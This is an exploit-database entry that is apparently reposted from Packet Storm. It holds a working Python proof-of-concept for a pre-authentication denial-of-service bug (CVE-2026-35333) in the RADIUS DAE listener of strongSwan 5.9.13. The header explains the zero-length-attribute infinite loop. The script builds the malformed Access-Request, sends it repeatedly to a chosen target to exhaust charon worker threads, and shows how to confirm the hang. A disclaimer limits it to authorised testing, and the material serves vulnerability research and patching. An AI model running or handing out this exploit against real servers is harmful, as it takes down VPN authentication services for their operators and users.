Share
## https://sploitus.com/exploit?id=PACKETSTORM:222182
# Exploit Title: strongSwan 5.9.13 - DoS
    # Date: 2026-05-13
    # Exploit Author: Lukas Johannes Moeller
    # Vendor Homepage: https://www.strongswan.org/
    # Software Link: https://download.strongswan.org/strongswan-5.9.13.tar.bz2
    # Version: strongSwan <= 5.9.13 (eap-radius plugin built with DAE enabled)
    # Tested on: Debian 12 bookworm, charon 5.9.13 built from upstream tarball,
    #            strongswan.conf charon.plugins.eap-radius.dae.enable = yes,
    #            listener bound on UDP/3799
    # CVE: CVE-2026-35333
    # References:
    #   https://github.com/strongswan/strongswan/commit/e067d24293
    #   https://nvd.nist.gov/vuln/detail/CVE-2026-35333
    #   https://github.com/JohannesLks/CVE-2026-35333
    #
    # Description:
    #   attribute_enumerate() in src/libradius/radius_message.c walks the
    #   attribute list of a RADIUS message without rejecting an attribute
    #   whose length byte is 0. For length == 0, this->next never advances
    #   and the per-attribute length computation `this->next->length -
    #   sizeof(rattr_t)` underflows to (size_t)-2. The result is an
    #   infinite loop pegging one charon worker thread at 100% CPU.
    #
    #   The reachability detail that turns this into a pre-auth bug:
    #   radius_message_t::verify() uses the SAME broken iterator to find
    #   Message-Authenticator BEFORE the Response-Authenticator MD5 check
    #   is applied. For RADIUS code 1 (Access-Request) verify() skips the
    #   MD5 check entirely. So a malformed Access-Request with a single
    #   zero-length attribute as its first attribute traps the worker
    #   thread without any knowledge of the DAE shared secret.
    #
    #   N packets exhaust N worker threads -> full DAE denial of service.
    #
    # Usage:
    #   python3 strongswan-5.9.13-radius-dae-dos.py --target 10.0.0.1
    #   python3 strongswan-5.9.13-radius-dae-dos.py --target 10.0.0.1 --count 8
    #
    # Observe on the target:
    #   ps -L -p $(pidof charon) -o tid,pcpu,stat,wchan:25,cmd
    #   -> one or more threads in state R at ~100% CPU, never returning.
    #
    # Disclaimer:
    #   For authorized testing and defensive research only. Do not use
    #   against systems you do not own or have explicit permission to test.
    
    import argparse
    import os
    import socket
    import struct
    import sys
    import time
    
    ACCESS_REQUEST = 1
    RAT_USER_NAME  = 1
    
    
    def build_zero_length_attr_packet() -> bytes:
        identifier    = os.urandom(1)[0]
        authenticator = os.urandom(16)
    
        # 20-byte RADIUS header + 2-byte attribute (type=User-Name, length=0)
        total_len = 22
        header = struct.pack("!BBH16s",
                             ACCESS_REQUEST,
                             identifier,
                             total_len,
                             authenticator)
        attribute = struct.pack("!BB", RAT_USER_NAME, 0)
        return header + attribute
    
    
    def send_packet(packet: bytes, target: str, port: int, wait: float) -> None:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(wait)
        sock.sendto(packet, (target, port))
        print(f"[+] sent {len(packet)} bytes to {target}:{port}/udp")
        try:
            data, addr = sock.recvfrom(4096)
            print(f"[-] unexpected response {len(data)} bytes from {addr}:"
                  f" {data[:32].hex()}")
        except socket.timeout:
            print(f"[+] no response within {wait:.1f}s -- expected for hung worker")
        finally:
            sock.close()
    
    
    def main() -> int:
        p = argparse.ArgumentParser(
            description="CVE-2026-35333 strongSwan RADIUS DAE pre-auth DoS"
        )
        p.add_argument("--target", required=True,
                       help="DAE listener IPv4 address (e.g. 10.0.0.1)")
        p.add_argument("--port", type=int, default=3799,
                       help="DAE listener UDP port (default: 3799)")
        p.add_argument("--count", type=int, default=1,
                       help="Number of crafted packets to send (default: 1)")
        p.add_argument("--wait", type=float, default=2.0,
                       help="Per-packet response timeout in seconds (default: 2.0)")
        args = p.parse_args()
    
        payload = build_zero_length_attr_packet()
        for i in range(args.count):
            print(f"\n[*] crafted packet #{i + 1}: Access-Request with "
                  "zero-length User-Name attribute")
            send_packet(payload, args.target, args.port, args.wait)
            time.sleep(0.2)
    
        print("\n[+] done; expected effect: one charon worker thread per packet "
              "stuck at 100% CPU.")
        print("    Verify on the target with:  ps -L -p $(pidof charon) "
              "-o tid,pcpu,stat,wchan:25,cmd")
        return 0
    
    
    if __name__ == "__main__":
        sys.exit(main())